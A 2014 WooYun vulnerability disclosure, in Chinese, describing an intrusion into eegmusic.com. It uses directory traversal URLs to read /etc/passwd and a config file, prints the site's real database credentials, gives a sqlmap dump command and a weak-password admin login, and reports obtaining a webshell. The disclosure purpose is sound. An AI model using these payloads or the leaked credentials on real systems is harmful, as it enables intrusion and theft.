当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075308

漏洞标题:英皇娱乐官网存在SQL注射、目录遍历等漏洞可getshell

相关厂商:eegmusic.com

漏洞作者: lijiejie

提交时间:2014-09-07 06:16

修复时间:2014-10-22 06:18

公开时间:2014-10-22 06:18

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-10-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

英皇娱乐官网存在SQL注射,目录遍历等漏洞,通过上传漏洞拿到了webshell

详细说明:

随手测试英皇娱乐,缘分呐。
1. 源于一处目录遍历
无意中发现http://eapa.eegmusic.com/ 存在一处目录遍历:
例如,下载passwd:
http://eapa.eegmusic.com/download.php?path=upload/../../../../../../../../etc/passwd
此处非root,无法下载shadow。
用nmap扫描发现,除了80端口,无其他对外开放的端口。
一个利用的技巧是:
a) 通过下载不存在的文件,暴路径
b) 通过是否报错No such file or directory,可猜文件夹(文件)是否存在
2. 在php文件中搜索敏感信息
因为权限较低,无法下载一些敏感的.bash_history文件,所以只能在有权限读的php文件中找数据了。
首先是找到了数据库账号:
http://eapa.eegmusic.com/download.php?path=upload/../../../../../../../..//home/eapa/config/DbConfig.php

'dbms' => 'Mysql',
'dbhost' => '192.168.1.242',
'dbname' => 'eapa',
'username' => 'www-online',
'password' => 'mini@)!)server',


然而,数据库在内网,无法直接外连。拿到账号不能直接利用。
3. 发现www和eapa位于同一IP
思路在这里稍微有些中断,因为eapa站点非常简单,实际已发现后台backend目录,但是并不在www目录下,无法直接通过现有域名直接访问,虽然我也可以猜一下vhosts.conf文件。
后来我试着在114best.com上面查对应IP是否还存在其他域名。惊奇地发现原来www官网也在上面。
4. 猜文件名
因为eapa位于/home/eapa/,于是我猜www位于/home/eegmusic下,运气挺好,猜中了。
(因为passwd文件中有该用户eegmusic)
然后我尝试去读了一些php文件,发现数据库账号都跟eapa一样的,没多大用。
5.发现SQL注射
当读到一个/news/content.php文件时,发现注射:

list($photo_image1, $photo_image2, $photo_size2) = db_selectrow_array($dbh_r, 'select photo_image1, photo_image2, photo_imagesize2 from news_photo where oid=? and status=1 order by sequence limit 1', $id);


确认SQL注射存在后,我用sqlmap拖下了user表(mysql账号不能写文件):
sqlmap.py -u "http://www.eegmusic.com/news/content.php/view/1333*" -D eegmusic -T cms_user --dump
发现密码已加盐,而且是随机盐。并且salt是8位字母数字混合的。很难解开。
6. 用弱密码登录
不过在这个过程中,发现数据库中保存着少量的明文不加盐密码,非常弱:123456.
于是,我试着逐个用123456,当试到第二个的时候,就成功了。
提示需要修改密码,修改之后,成功登录后台!

漏洞证明:

系统管理员,进入后台,已经可以修改数据:

eegmusic.png


通过附件上传拿到webshell:

eegmusic_webshell.png


未提权,测试到此结束

eegmusic_ping.png


修复方案:

解决
1) 目录遍历
2) SQL注射
3) 任意文件上传

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝